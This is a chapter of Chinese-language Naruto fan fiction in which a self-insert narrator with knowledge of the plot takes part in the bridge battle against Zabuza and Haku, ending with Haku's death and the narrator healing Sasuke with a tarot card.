小樱的声音带着决绝!她如离弦之箭般冲出,捡起地上被弹飞的手里剑,用尽全力掷向冰镜中白的身影!可惜,“叮”的一声脆响,手里剑被冰镜轻松弹开! “怎么会?!” 小樱不敢置信,又连续掷出数枚,无一例外,全被坚硬的冰晶挡下! 情急之下,小樱竟要直接冲向那冰晶牢笼! “小樱!” 我惊呼出声。冰镜中的白似乎被这举动激怒,其中一面冰镜光芒一闪,一枚手里剑带着寒光直射小樱! “小心!” 我眼疾手快,手中苦无脱手而出!电光火石间,“锵啷”一声脆响,我的苦无精准地撞飞了那枚袭向小樱的手里剑! 就在白因这意外攻击而分神的刹那!一枚不知从何处射来的苦无,如同暗夜中的毒蛇,精准地击中了白的面具边缘!巨大的力道让他身形一晃,竟从冰镜中被硬生生震了出来! 好机会!我毫不犹豫,双手连挥,数枚苦无带着破空声,如同飞蝗般射向立足未稳的白!然而,我低估了白的反应速度!只见他在空中强行拧转身形,如同轻盈的飞鸟,险之又险地将所有苦无尽数避开! 就在这时,一道橙色的身影裹挟着浓烟,以极其夸张的姿势从天而降! “漩涡鸣人!登场!” 真是……名副其实的胡闹忍者啊! 我们几人被这突如其来的登场方式惊得目瞪口呆。鸣人兀自摆着他自认为帅气的姿势,完全没意识到场面的严峻,还在得意洋洋 “嘿嘿,故事的主角都是这样登场然后解决敌人的嘛!” 再不斩显然没心情欣赏这出闹剧,手腕一抖,数枚苦无带着凌厉杀意直射鸣人!半空中,几道冰晶碎片精准拦截,将苦无尽数挡下。达兹纳先生率先忍不住发问 “那是什么登场方式啊?!” 卡卡西老师也扶额训斥:“鸣人!你这笨蛋!” 鸣人这才懊恼地捂着头 “怎么会这样……难得我跑来救你们……” “白,你想干嘛?”再不斩冷声问。 “再不斩先生,” 白的声音透过面具传来,依旧平静 “这孩子,请交给我。” “这场战斗,就让我按我的方法来就可以了……” “你还是一样,是个天真的家伙啊。” “抱歉……” 冰晶牢笼内,佐助强忍着全身细密的刺痛,颤抖着支撑起身体。每一次微小的动作都牵扯着伤口,剧烈的痛楚冲击着神经。再不斩再次拦在想要突破的卡卡西面前,语气带着赤裸裸的威胁 “想去帮忙?可以。不过在你赶过去之前,我会先杀了这两个小鬼和老头子。” 他的目光带着戏谑,扫过我额角那道尚未褪尽青紫的疤痕 “居然还活着?真是命硬。” “不客气。” 我下意识地回敬,声音不大,却异常清晰。天知道我在说什么,气势……气势到了就行吧? 冰晶内,佐助咬紧牙关,朝一个镜影射出一枚手里剑,但伤口的疼痛让动作迟缓变形,攻击轻易被白躲过。鸣人此刻才真正看清佐助的惨状,眼中的担忧瞬间盖过了刚才的懊恼。 接下来,是属于鸣人佐助的战斗了…… 15. 『圣杯十最后的挽歌』 似乎是彻底激怒了白,他冰冷的目光透过面具扫过我们,身影倏然没入最近的冰镜之中!刹那间,所有的镜面再次泛起刺骨的幽蓝寒光! “咻咻咻咻——!” 比之前更加密集、更加凌厉的千本暴雨,如同被激怒的蜂群,带着撕裂空气的尖啸,从四面八方、每一面冰镜中疯狂攒射而出!目标只有一个——被困在中央的佐助!那银色的死亡之网几乎遮蔽了视线! “佐助君!” 小樱的心疼化为一声凄厉的尖叫,身体本能地就要向前冲去! “别动!” 我的声音带着前所未有的严厉,几乎是同时伸出手臂,死死拦住了她!我的指甲因为用力而深深掐进自己的胳膊,试图用身体的疼痛压下那几乎要冲破胸膛的恐慌。 “如果你过去……再不斩会立刻扑过来杀了我们所有人!” 我急促地低语,像是在说服她,更像是在强行捆住自己脑子里那根名为“鸣人受伤”就会瞬间崩断的弦。 小樱的身体猛地僵住,泪水在眼眶里打转,她回头望向我,眼中充满了不甘、恐惧和绝望。最终,那紧绷的肩膀颓然垂下,她咬着下唇,用力地点了点头,重新站回我身边,和我一起将达兹纳先生牢牢护在身后。我们紧握的手心,早已被冷汗浸透,冰冷黏腻,却又是在这绝境中唯一能感受到的、微弱的支撑力量。 每一面冰镜都完美地倒映着白的身影,动作同步,气息冰冷,如同批量制造的完美兵器。卡卡西老师曾夸我观察力敏锐(天知道我不过是占了知晓“剧情”的便宜) 可此刻,面对这无懈可击的血继限界,我引以为傲的“观察”彻底失效。那些镜影是折射?是分身?还是某种空间转移?脑子里乱成一团浆糊。动脑子……最讨厌了!尤其是在这种生死攸关的时刻! 鸣人显然也被眼前佐助单方面被蹂躏的景象惊呆了。他刚才还意气风发地“登场”,此刻却像被施了定身咒,怔怔地看着佐助在千本风暴中苦苦支撑。佐助单膝跪地,一手死死捂住肩上被刺穿的伤口,鲜血顺着指缝汩汩流出,染红了深色的护甲。他咬着牙,试图从这毫无破绽的攻击中找到一丝生机。 最快的破解方法……只能是内外夹击!一个念头如同闪电般劈开我混乱的思绪! “喂!鸣人!” 我用尽力气朝着远处呆滞的橙色身影大吼,声音在金属碰撞的噪音中显得有些嘶哑 “里应外合!和佐助一起!同时攻击镜子!” 既然我的存在本身就在改变“剧情”,那为什么不直接推动它走向更有利的方向?! “叮当——!” 刺耳的金属交击声几乎在同时响起!一股冰冷的杀意瞬间锁定了我!是再不斩!他手中那把巨大的斩首大刀带起的劲风,堪堪擦过我的面颊!是卡卡西老师!他如同鬼魅般出现在我身前,苦无精准地架住了那致命的一击!两柄武器碰撞出的火花,甚至溅落在我脚边不到一米的地面上! “刚才还在说你的对手是我,就已经迫不及待对我的同伴下手了吗?” 卡卡西老师的声音带着冰冷的嘲讽,目光锐利如刀。 “聒噪。” 再不斩冷哼一声,那双冰冷的眼睛如同毒蛇般扫过我,那眼神里没有愤怒,只有一种看死物般的漠然,仿佛我只是一个碍事的物件。那一眼带来的寒意瞬间冻结了我的血液,比魔镜冰晶的寒气更甚!我死死咬住下唇,不敢再发出任何声音,只是更用力地攥紧了手中那柄似乎毫无用处的苦无,仿佛它是唯一能汲取一丝暖意的来源。 鸣人听见了我的呼喊!他猛地回过神,与冰牢中佐助的目光在空中交汇!无需言语,默契在瞬间达成!两人如同心有灵犀,同时爆发! “咻!”“锵!” 鸣人的苦无与佐助的手里剑,带着破釜沉舟的气势,狠狠射向不同的冰镜!然而,冰镜中的白只是微微抬手,几根千本精准地击飞了佐助的武器,同时,他的身影如同鬼魅般从镜面中探出上半身,修长的腿带着凌厉的风声,狠狠踹在鸣人仓促格挡的双手上! “砰!” 巨大的力道让鸣人如同断了线的风筝,整个人倒飞出去,重重砸进冰晶牢笼之内,正好落在佐助身边,翻滚了好几圈才勉强停下! 遭了! 一股冰冷的绝望瞬间攫住了我!心脏仿佛被一只无形的大手狠狠攥住!剧情……根本没有改变!它像一股无法抗拒的洪流,依旧固执地朝着那个既定的、充满鲜血的结局奔涌而去! 鸣人挣扎着撑起身体,剧烈地咳嗽着,嘴角渗出血丝。佐助也从密集的千本压制中缓过一口气,警惕地看向新闯入的鸣人,确认他还能站起来后,才重新投向镜中那无处不在的身影上。 我的手指开始不受控制地颤抖,连带着手中的苦无都在嗡嗡作响。我死死掐着自己的胳膊,试图用疼痛来遏制这该死的恐惧反应,但越是用力,颤抖反而越加厉害,仿佛身体已经脱离了意志的掌控。 “旁听生……你还好吗?” 小樱担忧的声音带着哭腔,她感受到了我身体的异样。 “没……没事……” 我艰难地从喉咙里挤出声音,强迫自己咽下翻涌的恐慌 “可能……只是太担心了……” 声音虚弱得连自己都无法说服。 一只同样冰冷、微微颤抖的手,却带着坚定的力量,悄悄勾紧了我的手指。是小樱。她也在害怕,恐惧几乎要淹没她,但她依然努力传递着微弱的支撑 “没关系……会没事的……一定……” 她低声说着,不知是在安慰我,还是在安慰她自己。 这份微弱的温暖,如同溺水者抓住的浮木。我深吸一口气,强迫自己将视线重新投向那残酷的冰晶囚笼。心底有个微弱的声音在呐喊:相信剧情!相信鸣人和佐助!他们最终……会打败白的!我只能将这渺茫的希望,寄托于那已知的未来。 冰牢之内,佐助迅速向鸣人低语了几句。鸣人眼中闪过决然,双手瞬间结印! “火遁·豪火球之术!” 炽热的巨大火球咆哮着从佐助口中喷涌而出,带着融化一切的气势,狠狠撞向正前方的冰镜!火焰与寒冰激烈碰撞,发出“嗤嗤”的剧烈声响,蒸腾起大片白色的水汽!火光散去,冰镜……竟然完好无损!只是表面流淌着融化的水迹,转瞬又凝结成更厚的冰层! 佐助的瞳孔猛地收缩,脸上第一次出现了真正的愕然!显然,他完全没料到这足以熔金断铁的火遁,竟对这诡异的冰晶无可奈何! 就在这心神失守的刹那!冰镜中的白,如同等待已久的猎手,出手了! “嗖嗖嗖——!” 数道银芒,如同毒蛇吐信,精准地抓住了佐助和鸣人因惊愕而产生的防御空隙!这一次,不再是骚扰,而是真正的贯穿! “呃啊!” “唔!” 两声压抑的痛呼同时响起!佐助的肩膀、大腿,鸣人的手臂、肋下,瞬间被冰冷的千本刺入!鲜血如同绽放的红梅,在他们橙蓝的衣衫上迅速晕染开来! “鸣人——!” 看到鸣人身上迸出的血花,我脑子里那根名为理智的弦,“嘣”地一声彻底断裂!心脏如同被重锤击中,咚咚的狂跳声震得耳膜嗡嗡作响,视野甚至开始发黑!身体比思想更快,几乎就要不顾一切地冲出去! 然而,那股黏腻、冰冷、充满绝对杀意的目光,如同实质的枷锁,瞬间将我钉在原地!是再不斩!他像一头潜伏在阴影中的猛兽,正死死盯着我这个不安分的“猎物”!鸣人刚才登场时,他就想除掉这个“意外因素”,若非白的干预……我毫不怀疑,只要我敢动一步,那把斩首大刀会毫不犹豫地将我连同小樱、达兹纳一起斩为两段! 恐惧,像最深沉的寒冰,瞬间冻结了我的血液和冲动。指尖深深掐入掌心,几乎要刺破皮肤,但小樱依旧紧紧攥着我的手,那份微弱的连接提醒着我——不能!我不能因为自己的冲动,害死所有人!我死死闭上眼,用尽全身力气,才将那几乎要冲破喉咙的尖叫和不顾一切的行动欲望压了下去,化作一声长长的、带着血腥味的深呼吸。指甲掐进肉里的疼痛,此刻竟成了唯一的锚点。 『教皇先生……』 心底深处,一个微弱而茫然的呼唤响起。我不知道自己为何要这样做,或许,只是在绝望的深渊里,本能地想要抓住一丝虚无缥缈的指引,寻求片刻虚假的平静。 “影分身之术!” 鸣人带着痛楚却依旧不屈的声音再次响起! 数十个鸣人分身怒吼着,如同愤怒的潮水,从各个方向悍不畏死地冲向四面八方的冰镜!拳头、苦无、身体……不顾一切地砸向那光滑的镜面! 然而,在魔镜冰晶的领域内,白的速度超越了物理的极限!他的身影在无数镜面间闪烁跳跃,快得只留下一道道模糊的白影!手中的千本如同死神的镰刀,每一次挥舞,都精准地点在一个分身的要害!每一次寒光闪过,便是一个分身化作烟雾消散! “嘭!嘭!嘭!嘭——!” 连绵不断的爆鸣声如同密集的鼓点,敲打在每一个人的心上!仅仅几秒钟,鸣人那庞大的分身军团便如同泡沫般悉数破灭!而鸣人的本体,更是被白从背后镜面中闪电般探出的手狠狠击中,像破麻袋一样从高处重重摔落在地!身上又添了几道深可见骨的伤口,鲜血迅速染红了他身下的冰面! 一瞬间的寂静后,卡卡西老师低沉的声音带着前所未有的凝重响起 “血继限界……这是只有通过深刻的血缘、个体超常的系谱才能传承的特殊能力……” 他看向冰牢的眼神充满了无力 “和写轮眼一样……是无法被复制、被轻易破解的……专属力量。” 言下之意,残酷而清晰 没有已知的破解之法! 跌坐在地上的鸣人,浑身浴血,剧烈的疼痛让他身体微微抽搐。但他那双不服输的眼睛里,燃烧的火焰却未曾熄灭,反而因为剧痛和挫败而更加炽烈!他的双手死死攥紧,指甲深陷掌心,指关节因用力而泛白,狠狠地、带着刻骨仇恨,死死盯着镜中那道飘忽不定的白色身影!他嘴唇翕动,似乎在咆哮着什么,但冰冷的冰壁和遥远的距离,将他的声音隔绝。 我能感知到,冰牢内的空气温度骤降,几乎要冻结血液!一股更加浓郁、更加纯粹的杀意,如同实质的寒流,从白身上弥漫开来,充斥了整个空间!那杀意冰冷、精准、毫无感情波动,纯粹得如同最锋利的冰刃!它不再是为了任务,而是为了抹杀眼前这两个顽强抵抗、挑战他权威的“工具”! 我想起了关于他们的“剧情”。再不斩和白……都是被这个世界残酷规则塑造的悲剧。他们被当作趁手的兵器培养、利用,榨干价值后便会被无情抛弃。白所做的一切,他的忠诚、他的牺牲、他那如同人偶般抹杀自我的顺从,都只为了一个目标——成为再不斩手中最完美的工具,实现再不斩的野心。 而再不斩……他或许并非完全无动于衷,但他早已习惯了用冷酷和漠然来武装自己那颗或许早已千疮百孔的心。他装作看不见白的情感,将那份沉甸甸的依赖和忠诚,仅仅视为一件优秀工具应有的属性。这份扭曲的羁绊,既是他们生存的依仗,也是将他们拖入深渊的枷锁。再怎么心冷的人,面对这样纯粹而绝望的奉献,内心真的能毫无波澜吗?看着冰镜中那道冰冷的身影,我陷入了沉重的沉默。 “佐助!鸣人!不要输给那个家伙啊!” 小樱带着哭腔的呐喊再次响起,试图穿透冰壁,将力量传递进去。 我也想像小樱一样为他们呐喊助威,但卡卡西老师的声音更快一步,带着沉痛的制止 “小樱!没用的!即使他们有办法……他们现在也没有狠下心来杀死对方的精神力……” “哼,说得没错。” 再不斩的冷笑声传来,充满了对卡卡西和木叶忍道的嘲弄 “木叶的温室,只培养出这种天真的花朵吗?连杀人都下不了手,算什么忍者?真正的忍者,就是能为了任务毫不犹豫地斩断一切感情,夺取他人性命的工具!” 他的话语如同冰冷的铁锤,敲打着我们所有人信奉的理念。 卡卡西老师眼神一凛!他意识到,再不斩说的,至少在战术上是正确的。如果不能尽快解决再不斩去救援,鸣人和佐助必将被白彻底摧毁!他的手缓缓抬起,抚上了那只一直被护额遮盖的左眼! “抱歉,看来只能在一瞬间解决你了。” 卡卡西的声音带着决绝。 “写轮眼吗……” 再不斩的声音带着一丝忌惮,但更多的是不屑 “真是……没创意的家伙!” 话音未落,他动了!速度快得在原地留下一道残影!斩首大刀带起沉重的风压,直劈卡卡西面门!同时,手里剑如同毒蛇般从刁钻的角度射向卡卡西的要害! “锵!锵!锵!” 金铁交鸣声刺耳!卡卡西的身影同样化作残影!两人的动作快得超出了肉眼捕捉的极限,只能看到刀光剑影在浓雾中激烈碰撞!一个错身的瞬间,卡卡西竟然用手掌硬生生抓住了再不斩射向他要害的一枚手里剑!锋利的刃口瞬间割破了他的手掌,温热的鲜血顺着指缝滴落,在冰冷的桥面上溅开小小的红花! “嘴上说着没创意,身体倒是很诚实地在害怕啊,再不斩。” 卡卡西的声音带着一丝喘息,却也充满了嘲讽。 “哼!” 再不斩冷哼一声,攻势更加狂暴 “害怕?我只是觉得无趣!就算你解决了我也没用!白早已超越了我!他继承了我所有的战斗技巧和忍术精髓!再加上那与生俱来的可怕血继限界……” 他的语气中甚至带着一丝扭曲的自豪, “你的那两个小鬼,不过是垂死挣扎的虫子罢了!” 冰牢之内,鸣人强忍着全身的剧痛,挣扎着再次结印!“影分身之术!”又是数十个分身奋不顾身地扑向冰镜!佐助也抓住这稍纵即逝的机会,捕捉到白攻击鸣人分身时的一个微小轨迹!他猛地一脚踢向地面残留的水洼! “哗啦!” 冰冷的水花高高溅起!佐助的身影紧随其后,如同猎豹般冲向白露出的一个微小破绽!苦无的寒光直指白在镜面中移动的轨迹! 然而,血继限界的强大再次展现!白在镜面间的转移速度快到匪夷所思!他轻易地避开了佐助志在必得的一击,同时,数根千本如同长了眼睛般,穿透了佐助因攻击而露出的空档! “噗嗤!” “呃!” 银针入肉的声音令人牙酸!佐助闷哼一声,身体被巨大的力道带得向后踉跄!更多的鲜血从他身上涌出!鸣人的分身也在白的精准打击下再次化为烟雾! 卡卡西老师这边,战斗也进入了白热化!再不斩再次施展“雾隐之术”! “忍法·雾隐之术!” 浓烈得如同牛奶般的白雾瞬间弥漫开来,将整个桥面彻底吞噬!视野被压缩到极限,几乎伸手不见五指!激烈的金属碰撞声、忍术爆鸣声、鸣人愤怒的嘶吼声、佐助压抑的痛哼声、衣物被撕裂的摩擦声……各种令人心悸的声音在浓雾中此起彼伏,交织成一曲死亡的乐章!小樱、达兹纳先生和我紧紧地靠在一起,背贴着背,彼此的身体都在剧烈地颤抖,在这伸手不见五指的死亡迷雾中,唯有同伴的体温和急促的心跳声,是证明我们还活着的唯一慰藉。 “啊——!!!” “呃啊——!!!” 两声几乎重叠的、充满了痛苦与不甘的惨叫,如同利锥般狠狠刺穿浓雾,扎进我们每一个人的心脏! “鸣人!佐助!” 我和小樱同时失声惊呼!心脏瞬间提到了嗓子眼,几乎要冲破胸膛!恐慌如同冰冷的毒蛇,瞬间缠绕全身!可这该死的浓雾遮蔽了一切,我根本分辨不出那声音的来源,也看不到他们此刻是生是死!无边的恐惧感如同潮水般将我淹没! 就在这心神剧震的瞬间!一股冰冷刺骨、带着绝对杀意的气息,如同潜伏的毒蛇,毫无征兆地从我们身后——达兹纳先生的方向——骤然爆发! “后面!”我几乎是凭借着本能尖叫出声,猛地转身! 浓雾被一股凌厉的劲风劈开!再不斩那高大的身影如同地狱归来的魔神,手中的斩首大刀带着开山裂石的气势,朝着毫无防备的达兹纳先生当头劈下!太快了!快得我们根本来不及反应! “糟了!” 卡卡西老师的怒吼带着前所未有的惊惶!他显然也感应到了这致命的偷袭,化作一道银色闪电,不顾一切地回援!他以一种超越极限的速度,硬生生插入了再不斩与达兹纳之间! “噗嗤——!” 是利刃撕裂血肉的闷响! 时间仿佛在这一刻凝固。 温热的液体,带着浓重的铁锈味,溅射到我的脸上、脖子上、衣襟上……黏腻、滚烫。我甚至能清晰地感受到那血液溅开时的冲击力。 惊恐地、呆滞地,我甚至忘记了呼吸。耳边只剩下小樱那撕心裂肺的、足以刺破耳膜的尖叫声 “卡卡西老师——!!!” 视野里,卡卡西老师挡在我们身前,高大的身躯微微佝偻着。他的一只手死死抓住了再不斩握刀的手腕,试图阻止那刀锋继续深入。而再不斩的斩首大刀,那冰冷宽阔的刀刃,赫然已经深深嵌入了卡卡西老师的左胸!鲜血如同决堤的洪水,正从那可怕的伤口中汹涌而出,迅速染红了他银灰色的上忍马甲,滴落在冰冷的桥面上,汇聚成一小滩刺目的猩红。 “呵……” 再不斩发出一声低沉而残忍的嗤笑,手腕猛地用力一拧! “碍事的家伙……回防得太慢了!看来你真的很在意那群小鬼和这个老头子的死活啊?” 他嘲弄着卡卡西的“弱点”,狂笑声在浓雾中回荡,充满了胜券在握的得意 “游戏结束了!” 说完,他猛地抽回大刀!卡卡西的身体随着他的动作剧烈地一晃,更多的鲜血喷涌而出!再不斩的身影再次诡异地消失在浓雾之中,只留下那令人毛骨悚然的笑声余音。 “卡卡西……老师……” 我望着那不断涌出鲜血的恐怖伤口,喉咙像是被什么东西死死扼住,发不出完整的声音。心口处传来一阵阵剧烈的、如同被无数钢针反复穿刺的绞痛! 那痛楚如此真实,几乎让我无法呼吸。仿佛受伤的不是卡卡西,而是我自己。一种无法言喻的恐慌和负罪感,如同冰冷的潮水,瞬间将我淹没——是因为我的“提醒”才让卡卡西老师分心?还是因为我没能改变剧情导致他必须承受这一刀? “我……没事……” 卡卡西老师的声音异常沙哑,带着压抑的痛苦,但他依旧挺直了脊背,试图稳住身形 “保护好……达兹纳先生!”他急促地喘息着,每一次呼吸都牵动着胸口的伤,带来更剧烈的疼痛。 小樱泪流满面,她的目光却不由自主地望向浓雾深处,望向刚才佐助和鸣人惨叫传来的方向,眼中的担忧几乎要溢出来。 卡卡西老师似乎看穿了我们的恐惧,他强忍着剧痛,声音虽然虚弱,却带着一种不容置疑的坚定,试图给我们注入最后的信心:“相信他们,佐助是宇智波一族最后的天才…,鸣人那小子总能胡闹地干出一些意想不到的事情……” 他的话断断续续,却像黑暗中的微光。 “小樱,旁听生,呆在这里……不要动!” 他艰难地下达最后的命令。 “但是……卡卡西老师!你的伤……” 我几乎要哭出来,下意识地伸出手,想要抓住他染血的衣角,试图阻止他再次投入那致命的浓雾。 然而,我的手指只来得及触碰到一片冰冷的空气。卡卡西老师的身影,带着一往无前的决绝,如同离弦的染血之箭,再次义无反顾地冲进了那片吞噬一切的死亡白雾之中! 一种无名的、巨大的恐慌彻底将我吞噬!在这伸手不见五指、杀机四伏的雾里,我失去了最后的依靠。 就在这绝望的深渊! “轰——!!!” 一股无法形容的、狂暴到极致的查克拉,如同沉寂万年的火山骤然爆发!它带着焚烧一切的炽热、毁灭一切的暴戾、以及一种蛮荒凶兽般的恐怖威压,轰然席卷了整个战场!空气因为这股力量而剧烈扭曲,脚下的桥面都在微微震颤! “这……这是什么?!” 小樱被这股突如其来的恐怖力量惊得连连后退,脸色煞白如纸!我们紧握的手心瞬间被冷汗彻底浸透,几乎要滑脱!这股力量……充满了原始的野性和毁灭欲,让人本能地感到战栗和恐惧! 是鸣人!是鸣人体内被封印的九尾查克拉!剧情……终于还是进展到了这一步! “咔嚓!咔嚓!咔嚓——!!!” 伴随着这股狂暴查克拉的爆发,是冰晶碎裂的刺耳声响!如同无数面玻璃同时被巨力震碎!紧接着,是重物狠狠砸在地上的沉闷撞击声! 我知道!鸣人成功了!他凭借着九尾的力量,强行打破了白的魔镜冰晶! 然而,笼罩大桥的浓雾并未散去!卡卡西老师与再不斩的生死搏杀仍在继续!浓雾深处,传来更加激烈的碰撞声和忍术爆鸣! “忍法——通灵之术!” 卡卡西老师充满痛苦却无比决绝的怒吼穿透浓雾! 一股强大的能量波动猛然炸开!如同飓风过境!瞬间吹散了围绕在我们周围的部分浓雾!强烈的气流掀起我和小樱的头发,发丝狂乱地抽打着我们的脸颊和眼睛,让本就模糊的视野更加难以睁开! “土遁·追牙之术!” “嗷呜——!” 几声充满野性的狼嚎伴随着泥土破开的声响传来!是卡卡西老师的忍犬!它们如同忠诚的猎手,循着再不斩的气息,从地下发起了致命的追击! 雾气在这剧烈的能量冲击和忍犬的奔袭下,终于开始以肉眼可见的速度消散! 我轻轻松开了小樱的手。她立刻转过头看向我,那双碧绿的大眼睛里充满了疑惑,但瞬间,又变成了然和更深的不安。每次我松开她的手,都意味着我要去做一件极其危险的事情。 这一次,也不例外。 佐助重伤濒死,需要立刻救援!而白……按照“剧情”,他会为了救再不斩,用自己的身体去阻挡卡卡西老师的绝杀——雷切!我知道他们是被利用的工具,是身不由己的可怜人!在脑子里,我曾无数次设想过一个“让所有人都幸福”的结局……但这想法此刻显得如此幼稚、如此苍白!如同圣母般可笑!在这冰冷残酷的现实面前,在这你死我活的战场上,怎么可能有那样的童话?! 让所有人都幸福的结局? 怎么可能办得到! 根本……就是痴人说梦! 可……可是……知晓“剧情”的我,作为一个曾以上帝视角旁观过他们悲剧的我,又怎么可能……眼睁睁地看着白为了那份扭曲的忠诚,再一次走向自我毁灭的结局?哪怕只是徒劳,哪怕会付出代价,我也要去尝试! “雷切——!!!” 卡卡西老师那如同死神宣告般的声音,带着毁灭一切的千鸟嘶鸣,在逐渐散开的雾气核心轰然炸响!那声音是如此清晰,如此接近! 来不及了! 我猛地发力,朝着声音传来的方向狂奔而去!为什么?为什么要做这种蠢事?明明他们是敌人!明明他们刚刚差点杀了鸣人、佐助和卡卡西! 可是……那个在雪夜里被捡到的孩子,那个将一生都献祭给“工具”宿命的少年……那份纯粹到令人心碎的忠诚……那本不该被如此践踏的生命……无数念头如同沸腾的开水在我脑中翻滚! “噗呲——!” 是贯穿血肉的、令人牙酸的闷响。 我的脚步,停在了距离战场核心不到五步的地方。浓雾恰好在此时被雷切的强光和冲击彻底驱散。 我看到了。 卡卡西老师保持着突刺的姿势,右手闪耀着刺目的蓝色雷光。而他的手臂,从背后……贯穿了一个人的胸膛。 白的胸膛。 温热的鲜血,如同喷泉般从白的胸口前后两个巨大的创口处狂涌而出!在卡卡西和再不斩之间,在空中,划出一道凄厉而绝望的血色弧线!雷切狂暴的电流在白的身体里肆虐,发出“滋滋”的恐怖声响,甚至能看到细小的电蛇在他体表跳跃! 强大的冲击波带着浓重的血腥味扑面而来,吹得我的发丝和衣袂疯狂乱舞。我的眼睛瞪大到极限,白的嘴唇微微张开,似乎想说什么,却只有鲜血不断涌出。他的双手,正死死地、用尽最后力气,抓住了卡卡西贯穿他身体的那条手臂! 卡卡西老师显然也完全没预料到这一幕,他的眼神透过对方,充满了极致的震惊和一丝茫然!他试图抽回手臂,却被白用尽生命最后的力量死死钳制住! 雾气……彻底散尽了。 如同白短暂而灰暗的生命……在此刻,戛然而止。 再不斩的身体僵在原地,他缓缓地、极其缓慢地低下头,看向挡在自己身前,被雷切贯穿的那个单薄身影。那张总是冷酷的脸上,第一次出现了清晰可见的、巨大的裂痕。震惊、错愕、以及某种难以言喻的、深埋的情感洪流,正试图冲破那冰封的面具。 “哼……” 再不斩发出一声意味不明的低哼,像是在掩饰内心的震动。他猛地抬起头,眼神瞬间被更加狂暴的杀意取代!手中的斩首大刀带着斩断一切的决绝,高高举起!目标——不仅是被白抓住的卡卡西,还有……白的尸体!他要连同白的尸体一起,将卡卡西劈成两半! “住手——!!!” 一股热血直冲头顶!恐惧、愤怒、对那冷酷举动的憎恶,瞬间压倒了理智!我不知道哪里来的勇气,几乎是本能地,将手中所有的苦无和手里剑,用尽全身力气,朝着再不斩狠狠投掷过去!同时,身体猛地前扑,试图为卡卡西老师争取哪怕零点一秒带着白尸体脱离的时间! “咻咻咻——!” 数道寒光射向再不斩握刀的手臂和面门! 再不斩被迫侧身闪避,劈下的刀势为之一滞!但他眼中的凶光更盛,手腕一转,沉重的刀锋带着呼啸的风声,朝着我扑来的方向横扫而来!那速度,快得我根本来不及做出任何反应! “死丫头!上次你的诡计害惨了我!这次,我要把你连同他们一起劈碎!” 再不斩的怒吼充满了暴戾! 死亡的阴影瞬间笼罩!千钧一发之际!我几乎是凭着求生的本能,猛地从忍具包中掏出了那副塔罗牌!双手死死攥住牌堆,所有的意念疯狂地涌入! 『教皇先生!帮帮我!指引我!』 心底的呐喊带着绝望的祈求! 嗡——! 一道难以形容的、带着神圣威严与终极审判意味的金色光芒,猛地从我紧握的牌堆中爆发出来!并非某一张牌,而是整个牌堆在回应我濒死的呼唤!光芒强烈到如同小型太阳,瞬间照亮了血腥的战场! “什么鬼东西?!”再不斩被这突如其来的强光刺得下意识闭眼,动作不可避免地出现了一丝迟滞! 就是现在!我利用这瞬间的空隙,狼狈地向侧面翻滚!沉重的斩首大刀带着恐怖的风压,狠狠劈在我刚才站立的地方!坚硬的桥面被劈开一道深深的裂痕!碎石飞溅! 卡卡西老师也抓住这稍纵即逝的机会,猛地发力挣脱了白已然无力的双手(或者说,白在光芒亮起的瞬间,手指似乎微微松开了),抱着白迅速后撤! “够了!” 卡卡西老师染血的身影挡在了我和再不斩之间,他的一只手紧紧按住了我因恐惧和用力过度而剧烈颤抖、还握着塔罗牌的手腕,声音低沉而疲惫,却带着不容置疑的威严 “那家伙……是我的对手。你……去照顾鸣人和佐助。” 他的眉头紧锁,目光锐利地扫过我因过度使用精神力而瞬间变得惨白的嘴唇和额角的冷汗,似乎察觉到了什么。 我惊魂未定,急促地喘息着,顺着卡卡西的目光望向远处。 小樱早已冲到了佐助身边。佐助浑身是血,脸色惨白如纸,静静地躺在冰冷的地面上,胸口几乎没有起伏。小樱跪在他身边,双手徒劳地按在他不断涌血的伤口上,眼泪如同断了线的珠子,大颗大颗地砸落在佐助染血的衣服上。 “佐助君……佐助君!醒醒!不要……求求你不要……”她呜咽着,声音破碎不堪,早已忘记了什么忍者条例,“忍者要克制感情”的教条在此刻显得如此苍白可笑。她的世界,仿佛随着佐助生命的流逝而崩塌了。 而不远处,鸣人也露出了他同样伤痕累累、布满血迹的身体。他呆呆地站着,望着佐助的方向,那双总是充满活力的蓝眼睛里,此刻只剩下空洞和巨大的悲伤。 心脏像是被狠狠揪住!我强迫自己从卡卡西身边移开视线,踉跄着奔向佐助和鸣人。路过鸣人身边时,我强忍着喉头的哽咽,用尽力气让自己的声音听起来平稳一些 “会没事的……鸣人……相信我……” 虽然嘴上说着忍者不能显露情绪,但此刻的小樱,早已被巨大的悲伤和恐惧淹没。她紧紧抱着佐助逐渐冰冷的身体,哭得撕心裂肺,是对同伴生命即将逝去的绝望,是对自己无能为力的痛恨。 我单膝跪在佐助身边,无视了周围的一切。颤抖着,再次掏出了那副塔罗牌。闭上眼睛,将所有的意念、所有的祈求,疯狂地灌入其中。 『教皇先生……求求你……请回应我……』 精神力如同开闸的洪水,汹涌地涌向牌堆。眼前阵阵发黑,强烈的眩晕感袭来。 嗡…… 指尖传来熟悉的温热。一张牌自动从牌堆中滑出,落入我的掌心。不再是刚才那审判的金光,而是一种柔和如月华、温暖如春水的光芒——圣杯 Ace(圣杯一)! 那温暖的光芒顺着我的指尖流淌而出,如同实质的、散发着生命气息的清泉,轻柔地包裹住佐助冰冷的身体。光芒所过之处,那些狰狞的伤口开始以肉眼可见的速度止血、收口、愈合!佐助惨白的脸上也迅速恢复了一丝血色,冰冷的身体重新有了温度,微弱的呼吸变得平稳而有力。 “这……这是……” 小樱的哭泣戛然而止,她瞪大了眼睛,难以置信地看着这如同神迹般的一幕。 精神力被剧烈抽离的虚弱感如同海啸般袭来,我的眼前阵阵发黑,握着牌的手指不受控制地剧烈颤抖,光芒也随之明灭不定。但我死死咬着牙,集中最后的精神力,维持着圣杯的治愈之光。汗水如同小溪般从我额角滑落。 终于,当佐助身上主要的致命伤口都愈合得差不多,气息彻底稳定下来后,圣杯一的光芒才缓缓消散。牌也在我手中恢复了平静。 “……我说过……会没事的……” 我扯出一个极其虚弱的笑容,试图掩饰自己透支的状态。手臂上的旧伤疤因为精神力的剧烈波动而隐隐作痛,指尖的麻痹感更是蔓延到了小臂,我看见 看见自己的手指开始变得有些透明…… 就在这时,佐助的睫毛颤动了一下,缓缓睁开了眼睛。那双漆黑的眼眸中带着初醒的迷茫,随即感受到身上的重量(小樱还半压着他),眉头习惯性地皱起,带着他一贯的别扭语气:“啧……你好重啊……” 劫后余生的巨大冲击让小樱瞬间破涕为笑,又哭又笑地捶打着佐助:“笨蛋佐助!” 